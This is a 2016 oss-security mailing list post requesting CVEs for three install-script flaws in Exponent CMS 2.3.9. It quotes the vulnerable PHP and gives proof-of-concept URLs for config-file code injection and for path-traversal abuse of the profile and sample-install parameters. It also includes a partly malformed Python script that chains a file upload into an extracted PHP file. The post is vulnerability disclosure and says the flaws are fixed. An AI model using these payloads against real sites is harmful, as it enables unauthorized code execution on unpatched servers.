Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAEiFw0XGwYm+U74Fjs_UhZ3RvJhjN_uCV-kKb9zDcPsGhtk97A@mail.gmail.com>
Date: Thu, 22 Sep 2016 21:35:46 +0800
From: Carl Peng <felixk3y@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE Request - Exponent CMS 2.3.9 multi-vulnerabilities in install code

Hi , I reported the following vulnerabilities in the install code to the
ExponentCMS team some days ago and fixed now.

1. Arbitrary code execution
https://github.com/exponentcms/exponent-cms/blob/master/install/index.php#L56-L63
```
lines 56 - 63
if (isset($_REQUEST['sc'])) {
    if (file_exists("../framework/conf/config.php")) {
        // Update the config
        foreach ($_REQUEST['sc'] as $key => $value) {
//            $value = expString::sanitize($value);
            expSettings::change($key, $value);
        }
    }
```
The function of the expSettings::change() is to modify the config
file("framework/conf/config.php"), but there is failed to filter user input
lead to we could write anything to config file.

Proof of concept:
http://www.exponentcms.org/install/index.php?sc[SMTP_PORT]=25\\');phpinfo();//
  phpinfo() will be executed.
Tips:
Visit " http://www.exponentcms.org/install/index.php?sc[SMTP_PORT]=25 " can
be recovery it.


2. RCE vulnerability
https://github.com/exponentcms/exponent-cms/blob/master/install/index.php#L47-L53
```
if (isset($_REQUEST['profile'])) {
    expSettings::activateProfile($_REQUEST['profile']); //here
    expTheme::removeSmartyCache(); //FIXME is this still necessary?
    expSession::clearAllUsersSessionCache();
    flash('message', gt("New Configuration Profile Loaded"));
    header('Location: ../index.php');
}
```
expSettings::activateProfile() :
https://github.com/exponentcms/exponent-cms/blob/master/framework/core/subsystems/expSettings.php#L587-L593
```
copy(BASE . "framework/conf/profiles/$profile.php", BASE .
"framework/conf/config.php"); //here
// tag it with the profile name
$fh = fopen(BASE . "framework/conf/config.php", "a");
```
We can upload a "php" file to website, then copy it to
"framework/conf/config.php"

Proof of concept:
first, We first upload a "php" to website (by “uploader_paste.php”), such
as /files/test.php
then visit
http://www.exponentcms.org/install/index.php?profile=../../../files/test,
then will copy "/files/test.php" to "framework/conf/config.php".


3. File Upload vulnerability
https://github.com/exponentcms/exponent-cms/blob/master/install/index.php#L77-L94
```
$files = BASE . "themes/" . DISPLAY_THEME_REAL . "/" .
$_REQUEST['install_sample'] . ".tar.gz";
if (!file_exists($files)) {
    $files = BASE . "install/samples/" . $_REQUEST['install_sample'] .
".tar.gz"; //here
}
if (file_exists($files)) { // only install if there was an archive
    include_once(BASE . 'external/Tar.php');
    $tar = new Archive_Tar($files); //Extract .tar.gz file
    $return = $tar->extract(BASE);
}
```
The function of those code is extract .tar.gz file, but through
"install_sample", the parameter of "$files" is what we can control, so we
could upload a .tar.gz evil file, then extract it.

Proof of concept:
first, upload .eql and .tar.gz files(by “uploader_paste.php”),such as
/files/10.tar.gz
then visit
http://www.exponentcms.org/install/index.php?install_sample=../../files/10
Successfully extract file:  http://www.exponentcms.org/3.php

python poc code:
```
import random
import requests
host = 'http://www.exponentcms.org/'

def upload(name, url):
files = {'upload' : (name, open('evil.tar.gz'))}
resp = requests.post(url, files=files)
return resp.content

if 'http://' not in host: host = 'http://{}'.format(host)

host = host.rstrip('/')
url = '{}/framework/modules/file/connector/uploader_paste.php'.format(host)
rstr = random.randint(10,99)

req_eql = upload('{}.eql'.format(rstr), url)
req_tar = upload('{}.tar.gz'.format(rstr), url)

if 'tar.gz' in req_tar:
req_inc =
requests.get('{}/install/index.php?install_sample=../../files/{}'.format(host,
rstr))

evilfile = '{}/3.php'.format(host)
req_ = requests.get(evilfile)

if 'GIF89a' in req_.content:
print evil-file
```

And now, all vulnerabilities have been fixed.
https://exponentcms.lighthouseapp.com/projects/61783/changesets/4ae457ff1bf80e8b61286cd125ca794b25564e86
https://github.com/exponentcms/exponent-cms/commit/4ae457ff1bf80e8b61286cd125ca794b25564e86


these issues was reported by Peng Hua of silence.com.cn Inc. and I would
like
to request  CVEs for these issues (if not done so).


-------------------http://www.silence.com.cn/
penghua@...ence.com.cn
PKAV Team

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.